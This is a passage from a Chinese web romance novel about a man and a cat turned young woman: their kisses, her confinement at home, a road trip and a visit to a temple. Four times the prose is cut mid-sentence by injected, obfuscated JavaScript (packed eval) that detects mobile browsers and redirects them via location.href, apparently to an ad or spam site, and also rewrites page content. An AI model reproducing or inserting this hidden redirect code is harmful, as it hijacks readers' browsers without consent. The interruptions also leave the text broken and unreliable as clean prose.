方才顾凝恬闹得厉害,小吊带的衣摆被卷了上来,露出一小节白皙的小腹,顾涵温热的手掌在她的下腹部捂了捂,给她把衣服拉了下去。 他微微蹙起眉,目光从温和转变为了清冽。他再怎么精细也是一个男人,很多女生方面的生活知识他不懂,也不了解,也许他应该把桃桃叫过来。 这么想着,他站起了身,没想到脱离他怀抱的顾凝恬猛地从身后抱住了他,然后——咬住了他的耳朵。 顾涵轻呼一声,湿腻的触感沿着他的耳垂往上,灵巧的舌尖探进他的耳廓,细小的贝齿在他的耳周细细啃咬着,女孩毛绒绒的头发擦在他的后脑,软绵的触感,像极了以前猫儿跟他贴贴一样。 只不过,那时的小猫儿现在已变成了一个亭亭玉立的大女孩。 顾涵反手向后捏住了顾凝恬的后颈,用巧劲一拉,就把她整个人提了起来,再一个翻身,他便将人困在了身前。 顾凝恬比他矮一个头,现在这个姿势她的高度只到他的肩膀,低垂着脑袋,看不清她的表情。 顾涵知道今晚的她很古怪,但不知道是什么原因。 一开始他以为是小女孩心血来潮来找他腻腻歪歪,后来又以为她是肚子痛所以哭……他捏着顾凝恬的下巴,强迫她抬起头,她宝蓝色的眼珠子像一颗玻璃球一样,干净,圆润,盈盈水光流转于上。 他盯着她。 深邃的眸色从她的眉眼一寸一寸地往下,略过娇俏的鼻子,栖止在她红扑扑的嘴唇。 顾涵喉结滚动,扶住她腰侧的双手忍不住生出些许力道,控制住她的动作,接着微微倾身向着她靠近,直到两人之间的距离不足一厘米,直到他们的鼻息交错互闻,直到他们可以从对方的眼睛里看到自己的倒影。 顾凝恬有些惊讶地止住了呼吸,感受到顾涵越靠越近,她甚至紧张到咽了咽口水,双手僵住,怔怔地看着他。 顾涵贴近她的面庞,两人的鼻尖在相互触碰,温凉肌肤触感给彼此都染上了一层炽热的潮气,他盯着她的眼睛,暗哑的嗓音中包含着认真的语气:“你知不知道自己在做什么?” 顾凝恬眨巴眼睛,泛动的睫毛拂过顾涵的面颊,带来一阵浅浅的痒意,她傲傲地仰头,心里想,她怎么会不知道自己在做什么。她还想问问顾涵突然靠她这么近是想做什么呢。 她张张嘴,话还没说出口,温热的鼻息洒在她的额头,裹挟着爱意的吻降落在她的右眼。 “!” 顾凝恬被这突如其来的动作惊讶到失去反应,双肩一颤,右眼的皮肤温度骤然升高,像羽毛轻掠过湖面时激起的涟漪,她倒吸一口气,抬起头,灯光被顾涵宽阔的后背遮挡,神情掩盖在了阴影之下。 顾涵握住了她的双肩,步步紧逼着她来到床前,右手顺着她的脖子往上,捧住了她的侧脸,深沉的嗓音夹带着不明显的笑意,他问:“你是想要这样吗?” 唇瓣相触的刹那顾凝恬瞪大了眼睛。 仿佛时间在那一刻静止,周围的一切都变得模糊而遥远,心跳声在耳边轰鸣,像是要冲破她的胸膛。 顾涵浓郁的雄性气息将她整个人都包裹了起来,令她的脑海一片空白,所有的思绪都被这突如其来的亲密所占据,甚至还清晰地听见顾涵吞咽的声音。 他松开了她的唇,离开她远一点,抬手捂住她的懵懂又震惊的眼睛。 “亲爱的,接吻的时候要闭上眼睛。” 顾凝恬鬼使神差地听从了这句话,双眼闭上的同时,灼热的吻再次覆盖了上来,唇齿间黏连的湿润质感是陌生的,像是甜腻的冰激凌在嘴巴里融化,消失,渐渐融入她的身体里。 她忍不住微微张开嘴,一直试探的舌尖立即突破防线侵入进来,占据了她的所有感知空间,她情不自禁地抓住顾涵浴袍的前襟,在他的刻意诱导之下摔下了床榻。 顾涵用手掌捂在她的后脑避免被磕到,然后单手撑在她的侧脸,不断深入的吻让两人的呼吸不断交错,舌尖轻触的瞬间,顾凝恬犹如电流窜过脊椎,嘤咛的轻呼被湮灭在了唇舌交战里。 热浪滚滚的深吻让顾凝恬脑袋发晕,全然不知自己的衣衫已在不知不觉间被顾涵褪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163951|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,他的手深入她的后腰,缓慢旋转着指腹弧度,急促的喘息过后,他松开了她的侧脸,把额头抵在她的额角,重重地闭上眼睛,平息自己燥热的情绪。 他把顾凝恬搂在身下,用侧脸去蹭她的脸蛋,细密的吻留连在她的下巴和侧颈,在她的后颈留下深深的印记之后,拉着她的吊带挂上她的肩膀,重新给她穿好衣服。 猛烈的吻终于停歇,顾凝恬在剧烈的情绪波动之后找回了一点冷静,双手攥紧了被角,口唇里还残留着顾涵的味道,她又羞又惊地语无伦次道:“你、你、你……” 顾涵低低地轻笑一声。 这小猫一副被亲懵了的状态,心跳快的像是要跳出来了。 “怎么?你不是想这样?”他侧身躺在她身边,浴袍领口在这姿势下大大敞开,露出健硕的胸肌,他挑挑眉梢,单手支着脑袋,另一手去捏顾凝恬的脸。 她叨叨咕咕,又换衣服又咬耳朵的,也不知道是跟谁学,晓得索吻了。 本来他还想等她开窍,没想到猫猫自己主动了。 顾凝恬羞赫地转过头去,用枕头捂住自己的脸,不敢看顾涵蕴含笑意的眼睛。 她的心在怦怦直跳,像是要从嗓子里飞出来了,刚才亲吻的触感仿佛还停留在她的唇瓣,克制不住的回味在她的脑海中激荡着。 原来亲亲的感觉是这样的,太神奇了,顾涵贴上来的那一刻,她感觉自己浑身上下都颤抖了,说不出来的震撼。 怪不得桃桃说,只有互相喜欢的两个人才可以接吻。要是让她像这样去亲其他人,她不愿意,对了,她也不想让顾涵这样去亲其他人。 可是,她是猫变来的,顾涵是她亲的第一个人,。 但顾涵一直以来都是人,他有这样亲过别人吗? 这个疑问让顾凝恬拧紧了眉,松开捂脸的枕头,转过身来与顾涵面对面,她红润的脸颊羞涩芳菲,萌的飞起,顾涵单手捧着她的脸又亲了她一口。 顾凝恬推了推他的肩头,圆碌碌的眼睛眨啊眨,视线下移,有些不好意思地小声说:“你、你不准亲其他人哦,也、也不可以养别的猫。” 顾涵墨黑色的眼睛泛起笑意,温柔的眼神似水般将她裹住,他拉起顾凝恬的手放在自己的唇边,说:“我只吻过你一个女孩子。” 他说话时,声带的震动传到了顾凝恬的手腕,薄唇擦着她的手背,像是虔诚的信徒俯首在女神面前。 31. 喵 顾凝恬眼睛一亮,灯光沉醉在她的闪闪发光的蓝色眼眸里。她扭扭肩膀,一个咕噜翻身就扑到了顾涵面前,然后依偎在他的怀里,双手抱着他的腰,用前额去蹭他的下巴。 顾涵空出手去揉她的脑袋,轻笑发问:“这么开心?” “嗯嗯嗯。”顾凝恬抬起明亮的双眸望着他,唇角漾起浓浓的笑意。她也说不上来是因什么而开心,好像是因为接吻,又好像不是。仔细回味后发现,貌似是因为顾涵那一句:我只吻过你一个女孩子。 顾涵动了动肩膀,换了个睡姿,枕在枕头上,单手搂着顾凝恬的肩膀,伸手按了按她的眉心:“你该睡觉了,生理期的时候不要熬夜。” “噢……”顾凝恬眯了眯眼,折腾这么一晚,她确实也困了,尤其是现在鼻息间都是顾涵的味道,踏实安全的氛围令她手脚都舒展开来,他身上热意源源,就像是抱着一个巨大的暖炉,贴在他身上的时候,顾凝恬感觉自己的小腹都舒缓了很多,没有那种涨涨的感觉了。 “乖乖睡觉。”顾涵给她掖被角,大掌轻轻在她的后背拍着,安抚着她入睡,又把灯给关了。 卧室瞬时陷入一片黑暗。 良久——顾凝恬才适应了这昏暗的视线,逐渐可以看清身旁男人的侧脸。 他闭着眼睛,胸口微微起伏,呼吸均匀,细碎的刘海覆盖在他的前额,映衬着他清隽的五官愈发深邃。她能想象出他睁眼看她时的那种温柔深情。 真好。她又贴紧他一些,扑在他胸口听着他沉稳有力的心跳声。 真开心自己变成人了,可以一辈子和他在一起。 “顾涵。”顾凝恬双手勾住顾涵的脖子,喃喃道:“猫猫想一直和你在一起。” “嗯?” 顾涵声音携带着欲睡不睡的暗哑,蕴含着不明显笑意:“你是想说,你喜欢我?” 顾凝恬抬起懵懂的眼睛,脑海闪过桃桃跟她说的话,很肯定地点头:“喜欢,我超喜欢你的。” 不管做什么,干什么,她都满脑子是顾涵,只想和他一直这样在一起。她想,这大概就是人类所说的爱情了吧! 她和顾涵有爱情,所以他们会亲亲,也会像这样睡在一起。 “小猫咪。”顾涵屈指弹了下她发烫的耳尖:“你知道什么是喜欢吗?就敢说是喜欢我?” 顾凝恬半仰起身,单手手肘支在床垫上,很认真地说:“知道。” 接着,她把桃桃跟她说过的话跟顾涵说了一遍。 顾涵沉默片刻,暗色中看不清他的神情,浓密的长睫将他的眸光遮掩了下来,他似是思考着什么,好半响顾凝恬才听到他有些迟疑地说:“如果当初收养你的男人不是我,是另一个男人,你也会喜欢他吗?” 顾凝恬疑惑不解地歪着头,食指抵在自己的下巴,若有所思地扁扁嘴,摇了摇头,直言道:“猫猫只喜欢你。” 她不懂顾涵为什么问这个问题,没发生的事她回答不了,她也从来没想过这种可能。 于是她绞尽脑汁,把自己认识的字都组合成一句长长的话:“猫猫只知道从头到尾只有你是我的主人,没有出现过其他男人,猫猫不喜欢他们,猫猫只喜欢你。” 一声低低的浅笑袭来,顾凝恬感觉自己的唇上一凉,是顾涵靠近她吻了上来,接着又微微离开,停顿在她的面前,用温情脉脉的眼神看着她。 “小笨蛋。”他柔柔地说,重新把顾凝恬搂在怀里,让她趴在自己的胸口,震动的喉结抵在她的发顶:“睡吧宝贝,我也喜欢你。” “嗯嗯。”顾凝恬闭上眼睛,舒舒服服地靠在顾涵的身上,情感上的满足让她非常惬意,没多久就陷入了梦乡。 这晚过后。 顾涵找来了专业的家教老师来给顾凝恬上课。 有专门教画画的,有专门教社会化课程的,还有语文和数学。 所以一整天下来,顾凝恬都在不停的上课,在生理期的这段时间里她都没有出过门,整天待在家里学习。顾涵也很忙,经常早出晚归,有时候甚至忙到凌晨才回来。 这样的日子持续一个星期之后。 顾涵给桃桃加了一倍工资,让她每周选三天留宿在家中,和顾凝恬做陪。 顾凝恬结束一天的课程和家教老师道别,上到自己的卧室洗澡,出来时,床头柜上的手机响了。她赶紧擦干身上的水珠,套上睡衣,然后趴在床上接通电话,顾涵的脸出现在眼前。 “宝贝,我今晚要加班晚点回家。”他说。 顾凝恬失落地叹了口气,闷闷不乐地哦了一声,把自己的脸埋进枕头,顾涵笑了笑:“怎么了?” 顾凝恬鼻哼一声,对着摄像头露出她眼睛一角,怄气道:“还不都是你!” 她已经好多天没见过顾涵了。每天她还没睡醒顾涵就已经出门了,等晚上他也是凌晨一两点才回来,天天忙得不见人影。 顾涵眼神暗淡半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177554|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒,接着才温声说:“项目要赶进度,我尽量早点忙完回家陪你。” 顾凝恬在床上翻了个身,把手机对着自己的脸高高举起,看到顾涵身后的人都在电脑忙碌,还有人不停地走来走去,背景吵杂,确实很忙的样子。 她收起郁闷的神情,瞧见顾涵的眼睛地下浮现一层青灰,心疼的情绪在她的心底里蔓延开来:“好吧,你工作不要太忙了,注意休息,你都有黑眼圈了。” 顾涵又笑了笑,拇指拂过自己的眼睑:“连黑眼圈这个词你都懂什么意思了,学的真快,今天老师都教了些什么?” 顾凝恬支着下巴回想,皱了皱眉,抱怨道:“顾涵,我不想学数学,太难了,我不要学这个。” 顾涵无奈扶额,看到顾凝恬委屈巴巴的蓝色眼睛,他没忍住心软了半分,差点屈服在她这种娇嗔里,他正正神色,严肃道:“不可以。学数学是很必要的,可以锻炼你的思维和逻辑能力。你好好学,我不求你学的有多好,要参加什么比赛,只想你可以掌握基础的数学的应用。” 顾凝恬闭上眼睛,深深地长叹一口气,勉强回答说:“知道了……” 她站起来,拿着手机坐在窗台上,透过窗户望向远方,彼时已夜幕初上,家家户户都亮起了温暖的灯光,鹅卵石小径上走过三三两两饭后散步的人,中央的天鹅湖也围了几个小朋友,在凉亭里嬉笑玩耍。 顾凝恬羡慕地张望着,恨不得自己长了翅膀可以从这里飞出去,因为她已经很久很久没有出门了。 她一提起要出门的事,顾涵就会用各种理由把她留在家里,甚至桃桃也帮着他,不让她从家里出去。 “我想出去玩。”她平静地对着顾涵说。 而顾涵的回答也不出顾凝恬的预料,他淡淡回答:“嗯,等我忙完就带你出去。” 他寡淡的态度就像是一杯白开水一样,无趣又苍白,顾凝恬被压抑已久的躁动苏醒了过来,她皱皱鼻子,满不认同地说:“为什么要等你回来我才能出门呢,我自己也可以出门,我不想天天都呆在家里上课,我想出去玩,我想出去玩,我想出去玩!” 她一连说了三遍这句话,顾涵停下来手中的动作,专注地透过屏幕看着她,墨黑色的眸子流动着意味不明的情绪,他压着声调:“乖,外面很危险,你不要一个人出去,等我回来再带你去玩。” 顾凝恬撇开眸子,忿忿起身从卧室出去:“我不要你带我,我现在就要出门!” 32. 喵 她匆匆来到楼下,镜头随着她的动作晃动着,顾涵皱紧眉头说:“听话,等我回家再带你出去玩,不要到处乱跑。” 他不说还好,一说,猛地激起了顾凝恬的反叛心理,她扒拉着入户门的把手,但智能操控的大门早已被顾涵远程关上了,面对纹丝不动的门,顾凝恬赌气地踢了一脚,然后关掉视频把手机扔在沙发,一屁股坐下来。 在旁的桃桃目睹了这一切,小跑过来问道:“怎么了怎么了?” 顾凝恬委屈地抱住桃桃的腰,把额头贴在她的肚子上,瓮声瓮气地说:“好想出去玩……” 闻言,桃桃微不可几地叹了口气,拍了拍顾凝恬的后背:“等顾先生回来就能带你出去玩了。” 其实,她也不懂,为什么顾涵不让顾凝恬出门,连让她在小区里散步都不行,不仅把整个别墅的门都关严,连一楼的窗都连夜安装了防护网,就为了不让顾凝恬出去。 要不是顾涵对顾凝恬的态度是宠溺的,呵护的,不然她都要怀疑顾涵是强取豪夺,变相把顾凝恬圈禁在这里……虽然目前看起来,顾涵的举动跟圈禁没什么分别,但也还没到那个份上。 “他真是太讨厌了,自己每天都出门,不带我去就算了,还不让我出门。”顾凝恬气愤地说,看到顾涵打回来的电话,她反手挂断了。 桃桃沉吟着,试图从顾涵的角度分析,说:“可能是他不放心你自己出门吧?” 毕竟顾涵招来的家教,所辅导的内容都比较容易简单,水平跟小升初的差不多,也许在他看来,顾凝恬还是个心智简单的小朋友,担心她单独出门的安全吧。 “好了好了。”桃桃宽慰地摸摸顾凝恬的发顶,拉着她起身:“想这么多干嘛,快睡觉,现在很晚了。” 顾凝恬不情不愿地回到房间,桃桃坐在床边陪她讲了会话,睡意袭来,顾凝恬闭上眼睛,桃桃见状给她盖好被子才离开。 她顺着楼梯往下走,路过客厅的时候打算熄灯休息,结果大门咔嚓一声响了——穿着蓝衬衫黑西裤的顾涵走了进来,他额前的刘海稍显凌乱,眉宇深沉。 桃桃猜想他是因为刚刚和顾凝恬闹不愉快,心情不好,于是没跟他搭话,只对着他轻轻点头示意。 顾涵淡淡扫了她一眼,脚步未停,桃桃的视线紧跟着他的动作,犹豫两秒,还是忍不住喊住了他。 “顾先生留步!” 她急急走过来,站在一楼的楼梯扶手处,仰头看着顾涵冷淡的脸。 顾涵顿住脚步,见桃桃游移不定的样子,心中疑惑,问道:“什么事?” 桃桃暗暗深吸一口,单手握住楼梯把手,说:“顾先生,您不在家的时候,恬恬总是一个人坐在窗台静静地望向远方,她真的很想很想出去玩。我知道,您不让她出门肯定有您的道理,可是这样下去,她会在家里闷坏的,而且课程这么多,她需要出去散散心。” 顾涵鸦羽的睫毛微微垂下,掩盖住了眼睛的情绪,浅声回应:“嗯。” 接着,他看了眼桃桃:“她在干嘛?” “刚睡了。”桃桃说。 “嗯。”顾涵应了一句,放轻了脚步,来到顾凝恬的房门前,伸手轻轻一推,门开了一条缝隙。暖黄色的床头灯灯光倾泄而出,落在顾涵的皮鞋。 粉红色的床上鼓着一个小包。小包听到门口的声响动了动,白乎乎的脑袋缩回了被子里,接着没了动作。 顾涵无奈勾唇,一步一步坐下在床边,掀开被子,把蒙着头的小猫拉出被窝。 “出来透气。”他用手将顾凝恬脸上凌乱的头发拂开,露出她精巧的小脸,顺势捏了捏她的鼻尖,俯身盯着她:“生气了?” 顾凝恬双手环胸,撇过头去,闷哼一声不说话。 顾涵视线紧锁着她,一手撑在她的脸庞,低下头,吻住她的唇。 顾凝恬嘤咛一声后,伸手抵住他的肩膀想将他推开,可男人很沉,她用尽全力都没将他挪动半分,感知到他想探舌进来,顾凝恬闭紧牙关,不肯放行,就这么跟顾涵僵持着。 顾涵没依着她,钳住她的下巴,分别捏住她的两边腮帮子撬开了她的嘴巴,与她唇齿交融,湿黏的触感带来火热感受,令空气都染上了几分沸腾,灼热之间,顾凝恬迷迷糊糊地闭上了眼睛,沉醉在深深的春日湖底。 顾涵离开她的时候,浅嘬着她的眉心,喉结滚动之下,他的嗓音暗哑了些许:“宝贝,不要生气了好不好?” 顾凝恬睁开眼睛,红红的眼底,分不出是被欲望感染还是委屈所致,她紧紧抿唇,一声不吭。 顾涵坐直身,往后靠在床头,拢了拢胸口弄乱的衬衫衣襟,温和地勾勾唇角:“明天就带你出远门,我们去旅游。” 顾凝恬一惊,眼睛都瞪圆了,还以为自己听错了,有些不可置信地撑着手臂坐起来,盯着顾涵的眼睛看。 顾涵笑着看她,给她把睡衣的吊带拢起来,挂在肩膀上。 “是真的,你没听错。” 他缓缓吸了口气,单手搂过顾凝恬的肩膀,把她纳入自己的怀中,下巴搁在她的头顶,说:“我有个项目出了初步设计,准备去现场考察,刚好带你一起去,就当去旅行。” 这话不假。顾涵原本的工作安排就是这样,但带顾凝恬一起出门这事,却是他的临时起意。 也许桃桃说的没错。 顾凝恬需要接触外面的社会,需要感受外面的生活,天天把她留在家里,是他错了。 他继续说,声音温柔:“我答应你,以后我会经常陪你出门的。” 顾凝恬眨了眨她宝蓝色的眼睛,从顾涵的怀里仰起头,掩盖不住的兴奋映在她的眸底,熠熠发光,就像是天空中的一轮繁星。 “那我们去哪里!” 顾涵沉默会儿。 项目地距离他们所在的A市有点远,项目小组已经定好了机票,打算下周出发。可顾凝恬不宜大张旗鼓地出现在人前,顾涵打算自驾过去,提前出发,等他们一路玩过去,估计也差不多时间了。 “目的地叫阿居宁郡,是个少数民族自治区,到时候我们自驾过去,路上会经过许多好玩的地方,带你玩个遍。”顾涵把顾凝恬的枕头摆好,往上面拍了拍。 “好了,睡觉吧,休息好,我们明天上路。” “不要。”顾凝恬兴冲冲地扭了扭腰,挣开了顾涵的怀抱,拿过床头柜的手机,开始在网上搜索阿居宁郡的游玩攻略。 她现在对这些网络什么的很了解了,会自己上网看短视频,还学会了玩消消乐这种打发时间的游戏,这几天甚至还学会了玩交友软件,嚷嚷着要加桃桃为好友。 顾涵宠爱地看着顾凝恬的一举一动,没阻拦她,只关心地叮嘱道:“别玩太久手机,早点睡觉。” 顾凝恬头也不回地敷衍说:“知道知道。” 于是乎到了第二天。 顾凝恬顶着个黑眼圈就起床了。 顾涵无奈地抱着昏昏欲睡的她上车,又帮她收拾好行李,给副驾驶上的她系好安全带,又好笑又无奈地点点她的额头:“叫你早点睡,不听话。” 顾凝恬迷迷糊糊地皱起鼻子,握住顾涵的手腕将他的手挪开,嘟囔着:“别闹,让我睡会。” “睡吧。”顾涵发动车子:“等你睡醒就到目的地了。” 阿居宁郡位于西南部,是少数民族聚居的区域,风土人情丰富多彩,具有鲜明的地域特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191191|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,有自己独特的宗教信仰和习俗,当地人民大多信仰自然神灵,崇尚与自然和谐共处,每年都会举行盛大的祭祀仪式,祈求风调雨顺、五谷丰登。他们的传统服饰以手工编织的彩色布匹为主,图案多取材于自然界的山川河流、花草树木,象征着对自然的敬畏与感恩。此外,阿居宁郡还保留着古老的歌舞传统,以及古老的山村巫术,甚至还有许多原始的村落,苗医在当地是非常重要的组成部分。 总的来说,这是一座传统又充满传奇的城市。 自驾两天后,顾涵带着顾凝恬抵达了阿居宁郡。 顾涵没有立即赶往项目地,而是和顾凝恬待在阿居宁郡的城市中心,找了家酒店住了下来。 自驾途中,他们每停留一个城市顾凝恬都非常新奇,尤其是对当地的饮食,她总是兴致勃勃地拉着顾涵去品尝各种特色小吃。无论是街边摊的烤串,还是老字号的面馆,她都能吃得津津有味,现在到了阿居宁郡,顾凝恬更是一刻不停地拉着顾涵去到了当地的夜市觅食。 阿居宁郡有生吃牛肉的习惯,当地人会把牛肉切碎,然后与蘸水搅拌在一起,用来做配料吃。还有跳跳虾,把豆角番茄舂出汁水之后把活着的小虾混合在一起生吃。 顾凝恬路过这些摊位的时候看了几眼。以前她有吃生食的习惯,后来这个习惯被顾涵矫正了,如今她再看到这些生食,不仅没有想吃的欲望,还涌起了反胃的感觉。 她拉着顾涵快步走过,来到其他摊位前,买了好多零嘴,一时吃吃这个,一时吃吃那个,吃不完的就塞给顾涵。 顾涵接过顾凝恬递来的零嘴,温和一笑。他一边帮她拿着那些吃不完的零食,一边跟在她身后,看着她像只小猫咪一样,在摊位间穿梭,时不时停下来买点什么。 “顾涵顾涵,这个好香呀。”顾凝恬驻足在一个烤乳扇的摊子前,眼睛亮晶晶的。 摊主是一位穿着传统服饰的老奶奶,正用炭火慢慢烤着奶白色的乳扇,香气四溢。顾凝恬凑近闻了闻,立刻买了两根,一根递给顾涵,一根自己咬了一口,满足地眯起眼睛:“好好吃啊。” 顾涵接过竹签,咬了一口,果然香甜软糯。见顾凝恬吃的开心,忍不住伸手揉了揉她的头发:“慢点吃,别噎着。” 就在两人互动的间隙,旁边过来一对年轻的情侣,二人胸前挂着一个红色的同心锁,锁面刻着繁复的图案,看上去像是一种古文字。 他们也买了烤乳扇,老奶奶笑眯眯地看着他们说:“真好啊,这是在东阿庙求的锁吧?传说情侣只要在东阿庙求得同心锁,连戴三天之后把锁取下,用红布包着埋在桃花树下,便可一生一世在一起。” “在我们阿居宁郡,求得同心锁的情侣都会如同祝福所说的一样,白头偕老。” 老奶奶一边说着,一边将烤好的乳扇递给那对年轻情侣,脸上满是慈祥的笑容。那对情侣相视一笑,男生轻轻握住女生的手,低声说道:“我们一定会一直在一起的。” 顾凝恬听到老奶奶的话,忍不住多看了那对情侣几眼,尤其是他们胸前的同心锁。锁面上的古文字在夕阳的余晖下显得格外神秘,像是蕴藏着某种古老的力量。 她转头看向顾涵,眼中带着一丝好奇和向往:“顾涵,你听说过东阿庙吗?那个同心锁的传说好像很有意思。” 顾涵低头看了她一眼,见她眼中闪烁着期待的光芒,心里不禁一软。他轻轻捏了捏她的手,笑道:“怎么,你也想去求一个?” 顾凝恬脸一红,挪开了眼睛,羞涩爬上她的脸颊,她慢悠悠地嘟囔道:“我就是觉得那个传说挺浪漫的嘛……再说了,我们不是正好在这里吗?我想去看看,反正来都来了,去嘛去嘛。” 33. 喵 顾凝恬一边说,一边抱住顾涵的胳膊晃了晃,用下巴搁在他的手臂外侧撒娇,像只赖皮猫似的,一双潋滟的眼睛水波流转,倒影着顾涵含笑的表情。 “真拿你没办法。”顾涵轻轻摇了摇头,动了动手里拿着的东西,问她:“还要不要吃?” 顾凝恬摸了摸肚子,扁扁嘴,她吃了一路,现在好撑:“吃不下了。” 顾涵牵上她的手,拉着她回酒店,逛了一天下来,顾凝恬洗了澡之后就瘫在床上,欲睡不睡的样子,耷拉着眼皮,眯眼看着顾涵从浴室出来。 他随意地披着浴袍,领口敞开,未干透的水珠顺着他结实的胸膛往下滑,消失在腰带边缘,高大的身影在背光的氛围下更显伟岸。 顾涵欺身上来的时候,顾凝恬懒洋洋地睁开眼睛,就见顾涵的俊脸近在眼前,他的湿发垂在她的眼睫上,凉凉的,令她精神一震。 在感知到顾涵的鼻子靠过来时,她闭上了眼睛,唇瓣相碰,将空气触发出微妙的火花,逐渐攀升的温度,就像是心照不宣的暗示。 顾凝恬迷迷糊糊地把手攀上顾涵的脖子,指尖轻轻划过他的后颈,带来一阵微痒的触感。顾涵的吻温柔而缠绵,带着些许试探和克制,仿佛在等待她的回应。然而,就在这暧昧的氛围中,顾凝恬的意识却逐渐模糊,眼皮沉重得像是灌了铅。 她的呼吸渐渐平稳,唇间的动作也慢了下来,最终完全停住。顾涵察觉到她的变化,微微退开一点,低头看向她。只见顾凝恬已经闭上了眼睛,长长的睫毛在脸颊上投下一片阴影,呼吸均匀而轻柔,显然是睡着了。 顾涵愣了一下,随即忍不住轻笑出声。他无奈地摇了摇头,伸手轻轻拨开她额前的碎发,低声呢喃:“真是个小懒猫。” 他没有叫醒她,而是小心翼翼地将她抱起来,动作轻柔得像是在对待一件易碎的珍宝。顾凝恬在他怀里动了动,像是找到了一个更舒服的位置,脸颊贴在他的胸口,继续沉沉睡去。 顾涵拉过一旁的薄毯盖在她身上,静静地看着她的睡颜。片刻后,他拿过床头柜上放着的手机,指尖在屏幕上轻轻滑动,搜索了一下东阿庙的情况。 东阿庙位于阿居宁郡城郊的东阿山上,历史悠久,据传始建于唐朝,最初是为了纪念一位为民除害的侠士而建。庙宇依山而建,古朴庄严,曾是当地百姓祈福许愿的圣地。然而,随着时代的变迁,东阿庙逐渐被商业化改造,如今已成为一个集旅游、观光、购物于一体的热门景点。 跟摆摊的老奶奶说的一样,庙内最著名的便是“同心锁”传说。相传,情侣只要在东阿庙求得同心锁,连戴三天之后把锁取下,用红布包着埋在桃花树底,两人的感情便会得到神灵的庇佑,一生一世在一起。 这个传说吸引了许多情侣慕名而来,尤其是年轻男女。顾涵翻看着网友的评论,眉头微微皱起。他对这些传说和仪式本身并无兴趣,只是因为顾凝恬想去,所以他才特意查了查。 顾涵放下手机,目光再次落在顾凝恬熟睡的脸庞上。她的呼吸轻柔而平稳,脸颊微微泛着红晕,看起来毫无防备。他的手指轻轻抚过她的发丝,心中隐隐有些担忧。 东阿庙人多眼杂,游客络绎不绝。顾凝恬的本体是猫,若被有心之人察觉到她的真实身份,会不会想将她杀之而后快? 他叹了口气,低声喃喃:“贪玩的小猫咪,我该拿你怎么办?” 呼呼大睡的顾凝恬不知道顾涵的所思所想,她凭本能地往顾涵的胸前更靠近一点,贴在他的身前,嗅着他身上好闻的味道继续睡。 夜风轻拂,窗帘微微晃动,无边墨色渐渐被一抹鱼肚白稀释,黑夜一层层被晕开,阳光穿透云层,整个大地开始被晨光笼罩。 顾凝恬睡到自然醒才起来。却直到傍晚才出发前往东阿庙,她很不解:“顾涵,我们为什么不早点去啊,现在都准备入夜了。” 顾涵专注开车,淡淡回答:“因为这个时间清净些,也不用排队。” 实际上,顾涵之所以选择傍晚出发,完全是因为这个时间点游客稀少,对顾凝恬来说更安全。 车子从市区驶进林荫道,继而停在东阿山的山脚。 正如顾涵考量的一样,这个时间点上山的已经没什么游客了,通通都是下山的返程的。 山间的凉风扑面而来,带着草木的清香。顾凝恬深吸一口气,心情愉悦地伸了个懒腰,顾涵自然而然地牵起她的手,两人沿着石阶一步步向山上走去。 夕阳的余晖洒在山间,将两人的影子拉得修长。石阶两旁的古树在风中轻轻摇曳,树叶沙沙作响,顾凝恬兴致勃勃地四处张望,偶尔指着远处的风景让顾涵看。 主道的两旁不时会叉分出两条小道,顾凝恬很好奇这是通往哪里,便循着其中一条小道走了进去,发现尽头原来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202256|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一间竹制小屋,门口摆放着一些稀奇古怪的玩意,看上去就像是电视剧中的巫术道具。 顾涵皱着眉宇,收回眼神,拉着顾凝恬返回主道。不多时,他们又再次遇到开叉的小道,顾涵想了想,再次循着路径走进去,这回路的尽头不是竹屋,而是一座祠堂,门口的柱子上画满了密密麻麻的宗教符号。 一种不详的感觉瞬间笼罩在顾涵的心头。 他隐隐觉得这种符号很眼熟像是在哪里见过,却一时之间想不起来。 